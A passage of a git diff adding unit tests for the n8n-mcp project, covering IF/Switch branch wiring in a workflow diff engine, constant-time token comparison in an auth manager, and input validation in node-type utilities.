|
||||
const result = await diffEngine.applyDiff(baseWorkflow, request);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
|
||||
// True branch should still point to SuccessHandler
|
||||
expect(result.workflow!.connections['IF']['true'][0][0].node).toBe('SuccessHandler');
|
||||
|
||||
// False branch should now point to Slack
|
||||
expect(result.workflow!.connections['IF']['false'][0][0].node).toBe('Slack');
|
||||
});
|
||||
});
|
||||
|
||||
describe('Smart Parameters (Phase 1)', () => {
|
||||
it('should use branch="true" for IF node connections', async () => {
|
||||
// Add IF node
|
||||
const addIF: any = {
|
||||
type: 'addNode',
|
||||
node: {
|
||||
name: 'IF',
|
||||
type: 'n8n-nodes-base.if',
|
||||
position: [400, 300]
|
||||
}
|
||||
};
|
||||
|
||||
// Add TrueHandler node (use unique name)
|
||||
const addTrueHandler: any = {
|
||||
type: 'addNode',
|
||||
node: {
|
||||
name: 'TrueHandler',
|
||||
type: 'n8n-nodes-base.set',
|
||||
position: [600, 300]
|
||||
}
|
||||
};
|
||||
|
||||
// Connect IF to TrueHandler using smart branch parameter
|
||||
const connectWithBranch: any = {
|
||||
type: 'addConnection',
|
||||
source: 'IF',
|
||||
target: 'TrueHandler',
|
||||
branch: 'true' // Smart parameter instead of sourceOutput: 'true'
|
||||
};
|
||||
|
||||
const request: WorkflowDiffRequest = {
|
||||
id: 'test-workflow',
|
||||
operations: [addIF, addTrueHandler, connectWithBranch]
|
||||
};
|
||||
|
||||
const result = await diffEngine.applyDiff(baseWorkflow, request);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
expect(result.workflow).toBeDefined();
|
||||
|
||||
// Should create connection on 'main' output, index 0 (true branch)
|
||||
expect(result.workflow!.connections['IF']['main']).toBeDefined();
|
||||
expect(result.workflow!.connections['IF']['main'][0]).toBeDefined();
|
||||
expect(result.workflow!.connections['IF']['main'][0][0].node).toBe('TrueHandler');
|
||||
});
|
||||
|
||||
it('should use branch="false" for IF node connections', async () => {
|
||||
const addIF: any = {
|
||||
type: 'addNode',
|
||||
node: {
|
||||
name: 'IF',
|
||||
type: 'n8n-nodes-base.if',
|
||||
position: [400, 300]
|
||||
}
|
||||
};
|
||||
|
||||
const addFalseHandler: any = {
|
||||
type: 'addNode',
|
||||
node: {
|
||||
name: 'FalseHandler',
|
||||
type: 'n8n-nodes-base.set',
|
||||
position: [600, 300]
|
||||
}
|
||||
};
|
||||
|
||||
const connectWithBranch: any = {
|
||||
type: 'addConnection',
|
||||
source: 'IF',
|
||||
target: 'FalseHandler',
|
||||
branch: 'false' // Smart parameter for false branch
|
||||
};
|
||||
|
||||
const request: WorkflowDiffRequest = {
|
||||
id: 'test-workflow',
|
||||
operations: [addIF, addFalseHandler, connectWithBranch]
|
||||
};
|
||||
|
||||
const result = await diffEngine.applyDiff(baseWorkflow, request);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
|
||||
// Should create connection on 'main' output, index 1 (false branch)
|
||||
expect(result.workflow!.connections['IF']['main']).toBeDefined();
|
||||
expect(result.workflow!.connections['IF']['main'][1]).toBeDefined();
|
||||
expect(result.workflow!.connections['IF']['main'][1][0].node).toBe('FalseHandler');
|
||||
});
|
||||
|
||||
it('should use case parameter for Switch node connections', async () => {
|
||||
// Add Switch node
|
||||
const addSwitch: any = {
|
||||
type: 'addNode',
|
||||
node: {
|
||||
name: 'Switch',
|
||||
type: 'n8n-nodes-base.switch',
|
||||
position: [400, 300]
|
||||
}
|
||||
};
|
||||
|
||||
// Add handler nodes
|
||||
const addCase0: any = {
|
||||
type: 'addNode',
|
||||
node: {
|
||||
name: 'Case0Handler',
|
||||
type: 'n8n-nodes-base.set',
|
||||
position: [600, 200]
|
||||
}
|
||||
};
|
||||
|
||||
const addCase1: any = {
|
||||
type: 'addNode',
|
||||
node: {
|
||||
name: 'Case1Handler',
|
||||
type: 'n8n-nodes-base.set',
|
||||
position: [600, 300]
|
||||
}
|
||||
};
|
||||
|
||||
const addCase2: any = {
|
||||
type: 'addNode',
|
||||
node: {
|
||||
name: 'Case2Handler',
|
||||
type: 'n8n-nodes-base.set',
|
||||
position: [600, 400]
|
||||
}
|
||||
};
|
||||
|
||||
// Connect using case parameter
|
||||
const connectCase0: any = {
|
||||
type: 'addConnection',
|
||||
source: 'Switch',
|
||||
target: 'Case0Handler',
|
||||
case: 0 // Smart parameter instead of sourceIndex: 0
|
||||
};
|
||||
|
||||
const connectCase1: any = {
|
||||
type: 'addConnection',
|
||||
source: 'Switch',
|
||||
target: 'Case1Handler',
|
||||
case: 1 // Smart parameter instead of sourceIndex: 1
|
||||
};
|
||||
|
||||
const connectCase2: any = {
|
||||
type: 'addConnection',
|
||||
source: 'Switch',
|
||||
target: 'Case2Handler',
|
||||
case: 2 // Smart parameter instead of sourceIndex: 2
|
||||
};
|
||||
|
||||
const request: WorkflowDiffRequest = {
|
||||
id: 'test-workflow',
|
||||
operations: [addSwitch, addCase0, addCase1, addCase2, connectCase0, connectCase1, connectCase2]
|
||||
};
|
||||
|
||||
const result = await diffEngine.applyDiff(baseWorkflow, request);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
|
||||
// All cases should be routed correctly
|
||||
expect(result.workflow!.connections['Switch']['main'][0][0].node).toBe('Case0Handler');
|
||||
expect(result.workflow!.connections['Switch']['main'][1][0].node).toBe('Case1Handler');
|
||||
expect(result.workflow!.connections['Switch']['main'][2][0].node).toBe('Case2Handler');
|
||||
});
|
||||
|
||||
it('should use branch parameter with rewireConnection', async () => {
|
||||
// Setup: Create IF node with true/false branches
|
||||
const addIF: any = {
|
||||
type: 'addNode',
|
||||
node: {
|
||||
name: 'IFRewire',
|
||||
type: 'n8n-nodes-base.if',
|
||||
position: [400, 300]
|
||||
}
|
||||
};
|
||||
|
||||
const addSuccess: any = {
|
||||
type: 'addNode',
|
||||
node: {
|
||||
name: 'SuccessHandler',
|
||||
type: 'n8n-nodes-base.set',
|
||||
position: [600, 200]
|
||||
}
|
||||
};
|
||||
|
||||
const addNewSuccess: any = {
|
||||
type: 'addNode',
|
||||
node: {
|
||||
name: 'NewSuccessHandler',
|
||||
type: 'n8n-nodes-base.set',
|
||||
position: [600, 250]
|
||||
}
|
||||
};
|
||||
|
||||
// Initial connection
|
||||
const initialConn: any = {
|
||||
type: 'addConnection',
|
||||
source: 'IFRewire',
|
||||
target: 'SuccessHandler',
|
||||
branch: 'true'
|
||||
};
|
||||
|
||||
// Rewire using branch parameter
|
||||
const rewire: any = {
|
||||
type: 'rewireConnection',
|
||||
source: 'IFRewire',
|
||||
from: 'SuccessHandler',
|
||||
to: 'NewSuccessHandler',
|
||||
branch: 'true' // Smart parameter
|
||||
};
|
||||
|
||||
const request: WorkflowDiffRequest = {
|
||||
id: 'test-workflow',
|
||||
operations: [addIF, addSuccess, addNewSuccess, initialConn, rewire]
|
||||
};
|
||||
|
||||
const result = await diffEngine.applyDiff(baseWorkflow, request);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
|
||||
// Should rewire the true branch (main output, index 0)
|
||||
expect(result.workflow!.connections['IFRewire']['main']).toBeDefined();
|
||||
expect(result.workflow!.connections['IFRewire']['main'][0]).toBeDefined();
|
||||
expect(result.workflow!.connections['IFRewire']['main'][0][0].node).toBe('NewSuccessHandler');
|
||||
});
|
||||
|
||||
it('should use case parameter with rewireConnection', async () => {
|
||||
const addSwitch: any = {
|
||||
type: 'addNode',
|
||||
node: {
|
||||
name: 'Switch',
|
||||
type: 'n8n-nodes-base.switch',
|
||||
position: [400, 300]
|
||||
}
|
||||
};
|
||||
|
||||
const addCase1: any = {
|
||||
type: 'addNode',
|
||||
node: {
|
||||
name: 'Case1Handler',
|
||||
type: 'n8n-nodes-base.set',
|
||||
position: [600, 300]
|
||||
}
|
||||
};
|
||||
|
||||
const addNewCase1: any = {
|
||||
type: 'addNode',
|
||||
node: {
|
||||
name: 'NewCase1Handler',
|
||||
type: 'n8n-nodes-base.slack',
|
||||
position: [600, 350]
|
||||
}
|
||||
};
|
||||
|
||||
const initialConn: any = {
|
||||
type: 'addConnection',
|
||||
source: 'Switch',
|
||||
target: 'Case1Handler',
|
||||
case: 1
|
||||
};
|
||||
|
||||
const rewire: any = {
|
||||
type: 'rewireConnection',
|
||||
source: 'Switch',
|
||||
from: 'Case1Handler',
|
||||
to: 'NewCase1Handler',
|
||||
case: 1 // Smart parameter
|
||||
};
|
||||
|
||||
const request: WorkflowDiffRequest = {
|
||||
id: 'test-workflow',
|
||||
operations: [addSwitch, addCase1, addNewCase1, initialConn, rewire]
|
||||
};
|
||||
|
||||
const result = await diffEngine.applyDiff(baseWorkflow, request);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
|
||||
// Should rewire case 1
|
||||
expect(result.workflow!.connections['Switch']['main'][1][0].node).toBe('NewCase1Handler');
|
||||
});
|
||||
|
||||
it('should not override explicit sourceOutput with branch parameter', async () => {
|
||||
const addIF: any = {
|
||||
type: 'addNode',
|
||||
node: {
|
||||
name: 'IFOverride',
|
||||
type: 'n8n-nodes-base.if',
|
||||
position: [400, 300]
|
||||
}
|
||||
};
|
||||
|
||||
const addHandler: any = {
|
||||
type: 'addNode',
|
||||
node: {
|
||||
name: 'OverrideHandler',
|
||||
type: 'n8n-nodes-base.set',
|
||||
position: [600, 300]
|
||||
}
|
||||
};
|
||||
|
||||
// Both branch and sourceOutput provided - sourceOutput should win
|
||||
const connectWithBoth: any = {
|
||||
type: 'addConnection',
|
||||
source: 'IFOverride',
|
||||
target: 'OverrideHandler',
|
||||
branch: 'true', // Smart parameter suggests 'true'
|
||||
sourceOutput: 'false' // Explicit parameter should override
|
||||
};
|
||||
|
||||
const request: WorkflowDiffRequest = {
|
||||
id: 'test-workflow',
|
||||
operations: [addIF, addHandler, connectWithBoth]
|
||||
};
|
||||
|
||||
const result = await diffEngine.applyDiff(baseWorkflow, request);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
|
||||
// Should use explicit sourceOutput ('false'), not smart branch parameter
|
||||
// Note: explicit sourceOutput='false' creates connection on output named 'false'
|
||||
// This is different from branch parameter which maps to sourceIndex
|
||||
expect(result.workflow!.connections['IFOverride']['false']).toBeDefined();
|
||||
expect(result.workflow!.connections['IFOverride']['false'][0][0].node).toBe('OverrideHandler');
|
||||
expect(result.workflow!.connections['IFOverride']['main']).toBeUndefined();
|
||||
});
|
||||
|
||||
it('should not override explicit sourceIndex with case parameter', async () => {
|
||||
const addSwitch: any = {
|
||||
type: 'addNode',
|
||||
node: {
|
||||
name: 'Switch',
|
||||
type: 'n8n-nodes-base.switch',
|
||||
position: [400, 300]
|
||||
}
|
||||
};
|
||||
|
||||
const addHandler: any = {
|
||||
type: 'addNode',
|
||||
node: {
|
||||
name: 'Handler',
|
||||
type: 'n8n-nodes-base.set',
|
||||
position: [600, 300]
|
||||
}
|
||||
};
|
||||
|
||||
// Both case and sourceIndex provided - sourceIndex should win
|
||||
const connectWithBoth: any = {
|
||||
type: 'addConnection',
|
||||
source: 'Switch',
|
||||
target: 'Handler',
|
||||
case: 1, // Smart parameter suggests index 1
|
||||
sourceIndex: 2 // Explicit parameter should override
|
||||
};
|
||||
|
||||
const request: WorkflowDiffRequest = {
|
||||
id: 'test-workflow',
|
||||
operations: [addSwitch, addHandler, connectWithBoth]
|
||||
};
|
||||
|
||||
const result = await diffEngine.applyDiff(baseWorkflow, request);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
|
||||
// Should use explicit sourceIndex (2), not case (1)
|
||||
expect(result.workflow!.connections['Switch']['main'][2]).toBeDefined();
|
||||
expect(result.workflow!.connections['Switch']['main'][2][0].node).toBe('Handler');
|
||||
expect(result.workflow!.connections['Switch']['main'][1]).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
describe('AddConnection with sourceIndex (Phase 0 Fix)', () => {
|
||||
it('should add connection to correct sourceIndex', async () => {
|
||||
// Add IF node
|
||||
const addNodeOp: AddNodeOperation = {
|
||||
type: 'addNode',
|
||||
node: {
|
||||
@@ -786,39 +1432,241 @@ describe('WorkflowDiffEngine', () => {
|
||||
}
|
||||
};
|
||||
|
||||
const addConnectionOp: AddConnectionOperation = {
|
||||
type: 'addConnection',
|
||||
source: 'IF',
|
||||
target: 'slack-1',
|
||||
sourceOutput: 'true'
|
||||
// Add two different target nodes
|
||||
const addNode1: AddNodeOperation = {
|
||||
type: 'addNode',
|
||||
node: {
|
||||
name: 'SuccessHandler',
|
||||
type: 'n8n-nodes-base.set',
|
||||
position: [800, 200]
|
||||
}
|
||||
};
|
||||
|
||||
const updateConnectionOp: UpdateConnectionOperation = {
|
||||
type: 'updateConnection',
|
||||
source: 'IF',
|
||||
target: 'slack-1',
|
||||
updates: {
|
||||
sourceOutput: 'false',
|
||||
sourceIndex: 0,
|
||||
targetIndex: 0
|
||||
const addNode2: AddNodeOperation = {
|
||||
type: 'addNode',
|
||||
node: {
|
||||
name: 'ErrorHandler',
|
||||
type: 'n8n-nodes-base.set',
|
||||
position: [800, 400]
|
||||
}
|
||||
};
|
||||
|
||||
// Connect to 'true' output at index 0
|
||||
const addConnection1: AddConnectionOperation = {
|
||||
type: 'addConnection',
|
||||
source: 'IF',
|
||||
target: 'SuccessHandler',
|
||||
sourceOutput: 'true',
|
||||
sourceIndex: 0
|
||||
};
|
||||
|
||||
// Connect to 'false' output at index 0
|
||||
const addConnection2: AddConnectionOperation = {
|
||||
type: 'addConnection',
|
||||
source: 'IF',
|
||||
target: 'ErrorHandler',
|
||||
sourceOutput: 'false',
|
||||
sourceIndex: 0
|
||||
};
|
||||
|
||||
const request: WorkflowDiffRequest = {
|
||||
id: 'test-workflow',
|
||||
operations: [addNodeOp, addConnectionOp, updateConnectionOp]
|
||||
operations: [addNodeOp, addNode1, addNode2, addConnection1, addConnection2]
|
||||
};
|
||||
|
||||
const result = await diffEngine.applyDiff(baseWorkflow, request);
|
||||
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
// After update, the connection should be on 'false' output only
|
||||
expect(result.workflow!.connections['IF'].false).toBeDefined();
|
||||
expect(result.workflow!.connections['IF'].false[0][0].node).toBe('Slack');
|
||||
// The 'true' output should still have the original connection
|
||||
// because updateConnection removes using the NEW output values, not the old ones
|
||||
expect(result.workflow!.connections['IF'].true).toBeDefined();
|
||||
expect(result.workflow!.connections['IF'].true[0][0].node).toBe('Slack');
|
||||
// Verify connections are at correct indices
|
||||
expect(result.workflow!.connections['IF']['true']).toBeDefined();
|
||||
expect(result.workflow!.connections['IF']['true'][0]).toBeDefined();
|
||||
expect(result.workflow!.connections['IF']['true'][0][0].node).toBe('SuccessHandler');
|
||||
|
||||
expect(result.workflow!.connections['IF']['false']).toBeDefined();
|
||||
expect(result.workflow!.connections['IF']['false'][0]).toBeDefined();
|
||||
expect(result.workflow!.connections['IF']['false'][0][0].node).toBe('ErrorHandler');
|
||||
});
|
||||
|
||||
it('should support multiple connections at same sourceIndex (parallel execution)', async () => {
|
||||
// Use a fresh workflow to avoid interference
|
||||
const freshWorkflow = JSON.parse(JSON.stringify(baseWorkflow));
|
||||
|
||||
// Add three target nodes
|
||||
const addNode1: AddNodeOperation = {
|
||||
type: 'addNode',
|
||||
node: {
|
||||
name: 'Processor1',
|
||||
type: 'n8n-nodes-base.set',
|
||||
position: [600, 200]
|
||||
}
|
||||
};
|
||||
|
||||
const addNode2: AddNodeOperation = {
|
||||
type: 'addNode',
|
||||
node: {
|
||||
name: 'Processor2',
|
||||
type: 'n8n-nodes-base.set',
|
||||
position: [600, 300]
|
||||
}
|
||||
};
|
||||
|
||||
const addNode3: AddNodeOperation = {
|
||||
type: 'addNode',
|
||||
node: {
|
||||
name: 'Processor3',
|
||||
type: 'n8n-nodes-base.set',
|
||||
position: [600, 400]
|
||||
}
|
||||
};
|
||||
|
||||
// All connect from Webhook at sourceIndex 0 (parallel)
|
||||
const addConnection1: AddConnectionOperation = {
|
||||
type: 'addConnection',
|
||||
source: 'Webhook',
|
||||
target: 'Processor1',
|
||||
sourceIndex: 0
|
||||
};
|
||||
|
||||
const addConnection2: AddConnectionOperation = {
|
||||
type: 'addConnection',
|
||||
source: 'Webhook',
|
||||
target: 'Processor2',
|
||||
sourceIndex: 0
|
||||
};
|
||||
|
||||
const addConnection3: AddConnectionOperation = {
|
||||
type: 'addConnection',
|
||||
source: 'Webhook',
|
||||
target: 'Processor3',
|
||||
sourceIndex: 0
|
||||
};
|
||||
|
||||
const request: WorkflowDiffRequest = {
|
||||
id: 'test-workflow',
|
||||
operations: [addNode1, addNode2, addNode3, addConnection1, addConnection2, addConnection3]
|
||||
};
|
||||
|
||||
const result = await diffEngine.applyDiff(freshWorkflow, request);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
// All three new processors plus the existing HTTP Request should be at index 0
|
||||
// So we expect 4 total connections
|
||||
const connectionsAtIndex0 = result.workflow!.connections['Webhook']['main'][0];
|
||||
expect(connectionsAtIndex0.length).toBeGreaterThanOrEqual(3);
|
||||
const targets = connectionsAtIndex0.map((c: any) => c.node);
|
||||
expect(targets).toContain('Processor1');
|
||||
expect(targets).toContain('Processor2');
|
||||
expect(targets).toContain('Processor3');
|
||||
});
|
||||
|
||||
it('should support connections at different sourceIndices (Switch node pattern)', async () => {
|
||||
// Add Switch node
|
||||
const addSwitchNode: AddNodeOperation = {
|
||||
type: 'addNode',
|
||||
node: {
|
||||
name: 'Switch',
|
||||
type: 'n8n-nodes-base.switch',
|
||||
position: [400, 300]
|
||||
}
|
||||
};
|
||||
|
||||
// Add handlers for different cases
|
||||
const addCase0: AddNodeOperation = {
|
||||
type: 'addNode',
|
||||
node: {
|
||||
name: 'Case0Handler',
|
||||
type: 'n8n-nodes-base.set',
|
||||
position: [600, 200]
|
||||
}
|
||||
};
|
||||
|
||||
const addCase1: AddNodeOperation = {
|
||||
type: 'addNode',
|
||||
node: {
|
||||
name: 'Case1Handler',
|
||||
type: 'n8n-nodes-base.set',
|
||||
position: [600, 300]
|
||||
}
|
||||
};
|
||||
|
||||
const addCase2: AddNodeOperation = {
|
||||
type: 'addNode',
|
||||
node: {
|
||||
name: 'Case2Handler',
|
||||
type: 'n8n-nodes-base.set',
|
||||
position: [600, 400]
|
||||
}
|
||||
};
|
||||
|
||||
// Connect to different sourceIndices
|
||||
const conn0: AddConnectionOperation = {
|
||||
type: 'addConnection',
|
||||
source: 'Switch',
|
||||
target: 'Case0Handler',
|
||||
sourceIndex: 0
|
||||
};
|
||||
|
||||
const conn1: AddConnectionOperation = {
|
||||
type: 'addConnection',
|
||||
source: 'Switch',
|
||||
target: 'Case1Handler',
|
||||
sourceIndex: 1
|
||||
};
|
||||
|
||||
const conn2: AddConnectionOperation = {
|
||||
type: 'addConnection',
|
||||
source: 'Switch',
|
||||
target: 'Case2Handler',
|
||||
sourceIndex: 2
|
||||
};
|
||||
|
||||
const request: WorkflowDiffRequest = {
|
||||
id: 'test-workflow',
|
||||
operations: [addSwitchNode, addCase0, addCase1, addCase2, conn0, conn1, conn2]
|
||||
};
|
||||
|
||||
const result = await diffEngine.applyDiff(baseWorkflow, request);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
// Verify each case routes to correct handler
|
||||
expect(result.workflow!.connections['Switch']['main'][0][0].node).toBe('Case0Handler');
|
||||
expect(result.workflow!.connections['Switch']['main'][1][0].node).toBe('Case1Handler');
|
||||
expect(result.workflow!.connections['Switch']['main'][2][0].node).toBe('Case2Handler');
|
||||
});
|
||||
|
||||
it('should properly handle sourceIndex 0 as explicit value vs default', async () => {
|
||||
// Use a fresh workflow
|
||||
const freshWorkflow = JSON.parse(JSON.stringify(baseWorkflow));
|
||||
|
||||
const addNode: AddNodeOperation = {
|
||||
type: 'addNode',
|
||||
node: {
|
||||
name: 'TestNode',
|
||||
type: 'n8n-nodes-base.set',
|
||||
position: [600, 300]
|
||||
}
|
||||
};
|
||||
|
||||
// Explicit sourceIndex: 0
|
||||
const connection1: AddConnectionOperation = {
|
||||
type: 'addConnection',
|
||||
source: 'Webhook',
|
||||
target: 'TestNode',
|
||||
sourceIndex: 0
|
||||
};
|
||||
|
||||
const request: WorkflowDiffRequest = {
|
||||
id: 'test-workflow',
|
||||
operations: [addNode, connection1]
|
||||
};
|
||||
|
||||
const result = await diffEngine.applyDiff(freshWorkflow, request);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
expect(result.workflow!.connections['Webhook']['main'][0]).toBeDefined();
|
||||
// TestNode should be in the connections (might not be first if HTTP Request already exists)
|
||||
const targets = result.workflow!.connections['Webhook']['main'][0].map((c: any) => c.node);
|
||||
expect(targets).toContain('TestNode');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -2732,47 +3580,6 @@ describe('WorkflowDiffEngine', () => {
|
||||
expect(result.workflow).toBeUndefined();
|
||||
});
|
||||
|
||||
it('should handle updateConnection with complex output configurations', async () => {
|
||||
const workflow = JSON.parse(JSON.stringify(baseWorkflow));
|
||||
|
||||
// Add IF node
|
||||
workflow.nodes.push({
|
||||
id: 'if-1',
|
||||
name: 'IF',
|
||||
type: 'n8n-nodes-base.if',
|
||||
typeVersion: 1,
|
||||
position: [600, 400],
|
||||
parameters: {}
|
||||
});
|
||||
|
||||
// Add connection on 'true' output
|
||||
workflow.connections['IF'] = {
|
||||
'true': [[
|
||||
{ node: 'Slack', type: 'main', index: 0 }
|
||||
]]
|
||||
};
|
||||
|
||||
const operations: UpdateConnectionOperation[] = [{
|
||||
type: 'updateConnection',
|
||||
source: 'IF',
|
||||
target: 'Slack',
|
||||
updates: {
|
||||
sourceOutput: 'false',
|
||||
targetInput: 'main',
|
||||
sourceIndex: 0,
|
||||
targetIndex: 0
|
||||
}
|
||||
}];
|
||||
|
||||
const request: WorkflowDiffRequest = {
|
||||
id: 'test-workflow',
|
||||
operations
|
||||
};
|
||||
|
||||
const result = await diffEngine.applyDiff(workflow, request);
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
});
|
||||
|
||||
it('should handle addConnection with all optional parameters specified', async () => {
|
||||
const workflow = JSON.parse(JSON.stringify(baseWorkflow));
|
||||
|
||||
130
tests/unit/utils/auth-timing-safe.test.ts
Normal file
130
tests/unit/utils/auth-timing-safe.test.ts
Normal file
@@ -0,0 +1,130 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { AuthManager } from '../../../src/utils/auth';
|
||||
|
||||
/**
|
||||
* Unit tests for AuthManager.timingSafeCompare
|
||||
*
|
||||
* SECURITY: These tests verify constant-time comparison to prevent timing attacks
|
||||
* See: https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-02)
|
||||
*/
|
||||
describe('AuthManager.timingSafeCompare', () => {
|
||||
describe('Security: Timing Attack Prevention', () => {
|
||||
it('should return true for matching tokens', () => {
|
||||
const token = 'a'.repeat(32);
|
||||
const result = AuthManager.timingSafeCompare(token, token);
|
||||
expect(result).toBe(true);
|
||||
});
|
||||
|
||||
it('should return false for different tokens', () => {
|
||||
const token1 = 'a'.repeat(32);
|
||||
const token2 = 'b'.repeat(32);
|
||||
const result = AuthManager.timingSafeCompare(token1, token2);
|
||||
expect(result).toBe(false);
|
||||
});
|
||||
|
||||
it('should return false for tokens of different lengths', () => {
|
||||
const token1 = 'a'.repeat(32);
|
||||
const token2 = 'a'.repeat(64);
|
||||
const result = AuthManager.timingSafeCompare(token1, token2);
|
||||
expect(result).toBe(false);
|
||||
});
|
||||
|
||||
it('should return false for empty tokens', () => {
|
||||
expect(AuthManager.timingSafeCompare('', 'test')).toBe(false);
|
||||
expect(AuthManager.timingSafeCompare('test', '')).toBe(false);
|
||||
expect(AuthManager.timingSafeCompare('', '')).toBe(false);
|
||||
});
|
||||
|
||||
it('should use constant-time comparison (timing analysis)', () => {
|
||||
const correctToken = 'a'.repeat(64);
|
||||
const wrongFirstChar = 'b' + 'a'.repeat(63);
|
||||
const wrongLastChar = 'a'.repeat(63) + 'b';
|
||||
|
||||
const samples = 1000;
|
||||
const timings = {
|
||||
wrongFirst: [] as number[],
|
||||
wrongLast: [] as number[],
|
||||
};
|
||||
|
||||
// Measure timing for wrong first character
|
||||
for (let i = 0; i < samples; i++) {
|
||||
const start = process.hrtime.bigint();
|
||||
AuthManager.timingSafeCompare(wrongFirstChar, correctToken);
|
||||
const end = process.hrtime.bigint();
|
||||
timings.wrongFirst.push(Number(end - start));
|
||||
}
|
||||
|
||||
// Measure timing for wrong last character
|
||||
for (let i = 0; i < samples; i++) {
|
||||
const start = process.hrtime.bigint();
|
||||
AuthManager.timingSafeCompare(wrongLastChar, correctToken);
|
||||
const end = process.hrtime.bigint();
|
||||
timings.wrongLast.push(Number(end - start));
|
||||
}
|
||||
|
||||
// Calculate medians
|
||||
const median = (arr: number[]) => {
|
||||
const sorted = arr.slice().sort((a, b) => a - b);
|
||||
return sorted[Math.floor(sorted.length / 2)];
|
||||
};
|
||||
|
||||
const medianFirst = median(timings.wrongFirst);
|
||||
const medianLast = median(timings.wrongLast);
|
||||
|
||||
// Timing variance should be less than 10% (constant-time)
|
||||
const variance = Math.abs(medianFirst - medianLast) / medianFirst;
|
||||
|
||||
expect(variance).toBeLessThan(0.10);
|
||||
});
|
||||
|
||||
it('should handle special characters safely', () => {
|
||||
const token1 = 'abc!@#$%^&*()_+-=[]{}|;:,.<>?';
|
||||
const token2 = 'abc!@#$%^&*()_+-=[]{}|;:,.<>?';
|
||||
const token3 = 'xyz!@#$%^&*()_+-=[]{}|;:,.<>?';
|
||||
|
||||
expect(AuthManager.timingSafeCompare(token1, token2)).toBe(true);
|
||||
expect(AuthManager.timingSafeCompare(token1, token3)).toBe(false);
|
||||
});
|
||||
|
||||
it('should handle unicode characters', () => {
|
||||
const token1 = '你好世界🌍🔒';
|
||||
const token2 = '你好世界🌍🔒';
|
||||
const token3 = '你好世界🌍❌';
|
||||
|
||||
expect(AuthManager.timingSafeCompare(token1, token2)).toBe(true);
|
||||
expect(AuthManager.timingSafeCompare(token1, token3)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Edge Cases', () => {
|
||||
it('should handle null/undefined gracefully', () => {
|
||||
expect(AuthManager.timingSafeCompare(null as any, 'test')).toBe(false);
|
||||
expect(AuthManager.timingSafeCompare('test', null as any)).toBe(false);
|
||||
expect(AuthManager.timingSafeCompare(undefined as any, 'test')).toBe(false);
|
||||
expect(AuthManager.timingSafeCompare('test', undefined as any)).toBe(false);
|
||||
});
|
||||
|
||||
it('should handle very long tokens', () => {
|
||||
const longToken = 'a'.repeat(10000);
|
||||
expect(AuthManager.timingSafeCompare(longToken, longToken)).toBe(true);
|
||||
expect(AuthManager.timingSafeCompare(longToken, 'b'.repeat(10000))).toBe(false);
|
||||
});
|
||||
|
||||
it('should handle whitespace correctly', () => {
|
||||
const token1 = 'test-token-with-spaces';
|
||||
const token2 = 'test-token-with-spaces '; // Trailing space
|
||||
const token3 = ' test-token-with-spaces'; // Leading space
|
||||
|
||||
expect(AuthManager.timingSafeCompare(token1, token1)).toBe(true);
|
||||
expect(AuthManager.timingSafeCompare(token1, token2)).toBe(false);
|
||||
expect(AuthManager.timingSafeCompare(token1, token3)).toBe(false);
|
||||
});
|
||||
|
||||
it('should be case-sensitive', () => {
|
||||
const token1 = 'TestToken123';
|
||||
const token2 = 'testtoken123';
|
||||
|
||||
expect(AuthManager.timingSafeCompare(token1, token2)).toBe(false);
|
||||
});
|
||||
});
|
||||
});
|
||||
130
tests/unit/utils/node-utils.test.ts
Normal file
130
tests/unit/utils/node-utils.test.ts
Normal file
@@ -0,0 +1,130 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { getNodeTypeAlternatives, normalizeNodeType, getWorkflowNodeType } from '../../../src/utils/node-utils';
|
||||
|
||||
describe('node-utils', () => {
|
||||
describe('getNodeTypeAlternatives', () => {
|
||||
describe('valid inputs', () => {
|
||||
it('should generate alternatives for standard node type', () => {
|
||||
const alternatives = getNodeTypeAlternatives('nodes-base.httpRequest');
|
||||
|
||||
expect(alternatives).toContain('nodes-base.httprequest');
|
||||
expect(alternatives.length).toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
it('should generate alternatives for langchain node type', () => {
|
||||
const alternatives = getNodeTypeAlternatives('nodes-langchain.agent');
|
||||
|
||||
expect(alternatives).toContain('nodes-langchain.agent');
|
||||
expect(alternatives.length).toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
it('should generate alternatives for bare node name', () => {
|
||||
const alternatives = getNodeTypeAlternatives('webhook');
|
||||
|
||||
expect(alternatives).toContain('nodes-base.webhook');
|
||||
expect(alternatives).toContain('nodes-langchain.webhook');
|
||||
});
|
||||
});
|
||||
|
||||
describe('invalid inputs - defensive validation', () => {
|
||||
it('should return empty array for undefined', () => {
|
||||
const alternatives = getNodeTypeAlternatives(undefined as any);
|
||||
|
||||
expect(alternatives).toEqual([]);
|
||||
});
|
||||
|
||||
it('should return empty array for null', () => {
|
||||
const alternatives = getNodeTypeAlternatives(null as any);
|
||||
|
||||
expect(alternatives).toEqual([]);
|
||||
});
|
||||
|
||||
it('should return empty array for empty string', () => {
|
||||
const alternatives = getNodeTypeAlternatives('');
|
||||
|
||||
expect(alternatives).toEqual([]);
|
||||
});
|
||||
|
||||
it('should return empty array for whitespace-only string', () => {
|
||||
const alternatives = getNodeTypeAlternatives(' ');
|
||||
|
||||
expect(alternatives).toEqual([]);
|
||||
});
|
||||
|
||||
it('should return empty array for non-string input (number)', () => {
|
||||
const alternatives = getNodeTypeAlternatives(123 as any);
|
||||
|
||||
expect(alternatives).toEqual([]);
|
||||
});
|
||||
|
||||
it('should return empty array for non-string input (object)', () => {
|
||||
const alternatives = getNodeTypeAlternatives({} as any);
|
||||
|
||||
expect(alternatives).toEqual([]);
|
||||
});
|
||||
|
||||
